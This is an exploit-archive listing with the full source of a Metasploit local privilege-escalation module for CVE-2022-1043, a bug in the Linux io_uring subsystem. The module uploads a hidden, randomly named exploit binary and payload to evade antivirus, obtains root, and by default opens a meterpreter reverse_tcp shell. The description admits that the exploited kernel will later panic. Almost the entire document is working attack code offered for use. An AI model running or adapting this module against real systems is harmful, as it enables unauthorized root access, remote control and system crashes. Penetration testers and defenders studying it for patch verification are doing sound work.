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io_uring Same Type Object Reuse Privilege Escalation

io_uring Same Type Object Reuse Privilege Escalation
Posted Feb 1, 2023
Authored by h00die, Mathias Krause, Ryota Shiga | Site metasploit.com

This Metasploit module exploits a bug in io_uring leading to an additional put_cred() that can be exploited to hijack credentials of other processes. This exploit will spawn SUID programs to get the freed cred object reallocated by a privileged process and abuse them to create a SUID root binary that will pop a shell. The dangling cred pointer will, however, lead to a kernel panic as soon as the task terminates and its credentials are destroyed. We therefore detach from the controlling terminal, block all signals and rest in silence until the system shuts down and we get killed hard, just to cry in vain, seeing the kernel collapse. The bug affected kernels from v5.12-rc3 to v5.14-rc7. More than 1 CPU is required for exploitation. Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.

tags | exploit, shell, kernel, root
systems | linux, ubuntu
advisories | CVE-2022-1043
SHA-256 | ddab5b3975fc82e2a23c5e4e05a57af4893abfbc613df02d507c1013c62dc088

io_uring Same Type Object Reuse Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking # https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'io_uring Same Type Object Reuse Priv Esc',
'Description' => %q{
This module exploits a bug in io_uring leading to an additional put_cred()
that can be exploited to hijack credentials of other processes.

We spawn SUID programs to get the free'd cred object reallocated by a
privileged process and abuse them to create a SUID root binary ourselves
that'll pop a shell.

The dangling cred pointer will, however, lead to a kernel panic as soon as
the task terminates and its credentials are destroyed. We therefore detach
from the controlling terminal, block all signals and rest in silence until
the system shuts down and we get killed hard, just to cry in vain, seeing
the kernel collapse.

The bug affected kernels from v5.12-rc3 to v5.14-rc7.

More than 1 CPU is required for exploitation.

Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Ryota Shiga', # discovery
'Mathias Krause' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://grsecurity.net/exploiting_and_defending_against_same_type_object_reuse' ],
[ 'URL', 'https://github.com/opensrcsec/same_type_object_reuse_exploits' ],
[ 'URl', 'https://github.com/torvalds/linux/commit/a30f895ad3239f45012e860d4f94c1a388b36d14' ],
[ 'CVE', '2022-1043' ]
],
'DisclosureDate' => '2022-03-22',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end

def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
if Rex::Version.new(release.split('-').first) > Rex::Version.new('5.14-rc7') ||
Rex::Version.new(release.split('-').first) < Rex::Version.new('5.12-rc3')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"

# make sure we have enough CPUs. Minimum 2 required
cpu = get_cpu_info
if cpu[:cores] < 2
CheckCode::Safe("> 1 CPU required, detected: #{cpu[:cores]}")
end
CheckCode::Vulnerable("> 1 CPU required, detected: #{cpu[:cores]}")
end

def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
code = strip_comments(exploit_source('CVE-2022-1043', 'cve-2022-1043.c'))
upload_and_compile executable_path, code
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('CVE-2022-1043', 'pre_compiled')
end

# Upload payload executable
upload_and_chmodx payload_path, generate_payload_exe
register_files_for_cleanup(payload_path)
register_files_for_cleanup(executable_path)

timeout = 30
print_status 'Launching exploit...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end
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